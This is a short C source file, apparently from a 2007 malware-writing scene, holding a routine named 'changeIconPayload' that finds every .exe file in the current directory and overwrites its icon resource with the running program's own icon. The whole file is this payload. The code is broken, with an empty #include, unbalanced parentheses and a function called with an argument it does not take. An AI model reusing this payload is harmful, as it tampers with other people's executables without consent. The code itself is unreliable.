/* Change icons of ALL exe's to the icon this is run from - illuz1oN (29/12/07 : 00:45) */ #include HANDLE hFind; WIN32_FIND_DATA fData; char szMask[] = "*.exe"; void getFiles(void) { hFind = FindFirstFile(szMask,&fData); changeIconPayload(fData.cFileName); while((FindNextFile(hFind,&fData)) { changeIconPayload(fData.cFileName); } } void changeIconPayload() //Thanks MSDN, You Pwnz! { char hMe[512]; GetModuleFileName(0,hMe,512); HRSRC hResLoad; HANDLE hExe; HRSRC hRes; HANDLE hUpdateRes; char *lpResLock; BOOL result; hExe = LoadLibrary(hMe); if (hExe != 0) { hRes = FindResource(hExe,"ICON",RT_ICON); if(hRes != 0) { hResLoad = LoadResource(hExe,hRes); if (hResLoad != 0) { lpResLock = LockResource(hResLoad); if(lpResLock != 0) { hUpdateRes = BeginUpdateResource(fData.cFileName,0); if(hUpdateRes != 0) { result = UpdateResource(hUpdateRes,RT_ICON,"ICON",MAKELANGID(LANG_NEUTRAL,SUBLANG_NEUTRAL), lpResLock,SizeofResource(hExe,hRes)); if(result != 0) { if((EndUpdateResource(hUpdateRes,0) != 0) { if((FreeLibrary(hExe)) != 0) { //Full changes complete! } } } } } } } } }